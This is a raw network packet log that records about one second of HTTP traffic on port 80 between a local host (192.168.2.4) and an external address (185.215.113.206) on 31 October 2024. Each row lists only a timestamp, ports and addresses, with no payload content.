Oct 31, 2024 07:14:09.072760105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073081017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073101044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073112011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073123932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073162079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073430061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073441029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073450089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073460102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073473930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073499918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073877096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073921919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.073957920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073968887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.073973894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.074013948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.074022055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.074024916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.074035883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.074055910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.074079037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.074840069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.074886084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.159233093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159244061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159281969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159317017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.159341097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.159343004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159373999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159377098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.159384012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.159411907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191154003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191164017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191169024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191179991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191189051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191251993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191286087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191363096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191407919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191438913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191462040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191473961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191500902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191510916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191519976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191529989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191550970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191582918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191907883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191919088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191929102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191948891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.191951990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191962004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.191982985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.192023993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.192433119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192444086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192454100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192476034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.192477942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192488909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192500114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.192501068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.192523956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.192555904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.277821064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.277884007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.277889013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.277925014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.278039932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.278093100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.278104067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.278115988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.278141975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.309739113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309750080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309755087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309762001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309770107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309778929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309798956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.309825897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.309855938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309902906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.309921026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309931993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309942007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.309957981 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.309987068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310220003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310269117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310401917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310411930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310420990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310431957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310441017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310456038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310461998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310499907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310831070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310842037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310853958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310875893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310902119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310910940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310913086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310923100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310934067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310945034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.310946941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310962915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.310992956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.396557093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.396600008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.396605015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.396610022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.396615028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.396760941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428339958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428350925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428366899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428378105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428388119 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428395987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428397894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428409100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428428888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428440094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428704023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428714037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428725004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428752899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428755045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428766012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.428776979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.428807020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429110050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429120064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429131031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429153919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429164886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429174900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429174900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429184914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429204941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429227114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429626942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429641008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429651022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429667950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429677963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.429683924 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.429711103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.515230894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.515326023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.515336990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.515347004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.515373945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.515392065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.515418053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547086954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547106981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547118902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547151089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547182083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547185898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547197104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547207117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547221899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547229052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547233105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547250986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547283888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547405958 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547418118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547429085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547456026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547485113 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547488928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547499895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547511101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547523975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547533989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547559023 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547573090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547585011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547595024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.547616959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.547636032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.548192978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.548238993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.548249960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.548253059 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.548266888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.548278093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.548279047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.548290968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.548315048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.594425917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.594436884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.594446898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.594480991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.594521999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.633840084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.633898973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.634082079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.634095907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.634104967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.634131908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.634165049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.665951967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.665965080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.665977955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.665998936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.665999889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666016102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666027069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666029930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666043043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666054010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666054964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666084051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666104078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666167021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666213989 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666232109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666244984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666255951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.666307926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666307926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.666307926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667243004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667292118 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667329073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667344093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667385101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667414904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667433977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667445898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667457104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667458057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667469978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667480946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667490005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667493105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667505980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667519093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667521954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.667545080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.667562962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.713215113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.713226080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.713234901 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.713304996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.713304996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.752686024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.752696991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.752707005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.752737045 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.752768040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.784784079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.784842968 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785038948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785087109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785226107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785237074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785245895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785255909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785265923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785270929 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785276890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785311937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785407066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785418034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785429001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785438061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785449982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785481930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785542965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785590887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785887003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785897017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785907030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.785928011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.785955906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.786058903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786068916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786077976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786087990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786097050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786108017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.786139011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.786670923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786681890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786691904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786701918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786714077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.786717892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.786740065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.786755085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.831407070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.831417084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.831422091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.831495047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.871226072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.871347904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.871500015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.871556044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.902915001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.902924061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.902935982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.902993917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.902997017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903007984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903016090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903021097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903027058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903038979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903230906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903408051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903419018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903429985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903456926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903477907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903490067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903500080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903525114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903547049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903842926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903853893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903862953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903887987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:09.903913021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:09.903917074 CET	49730	80	192.168.2.4	185.215.113.206
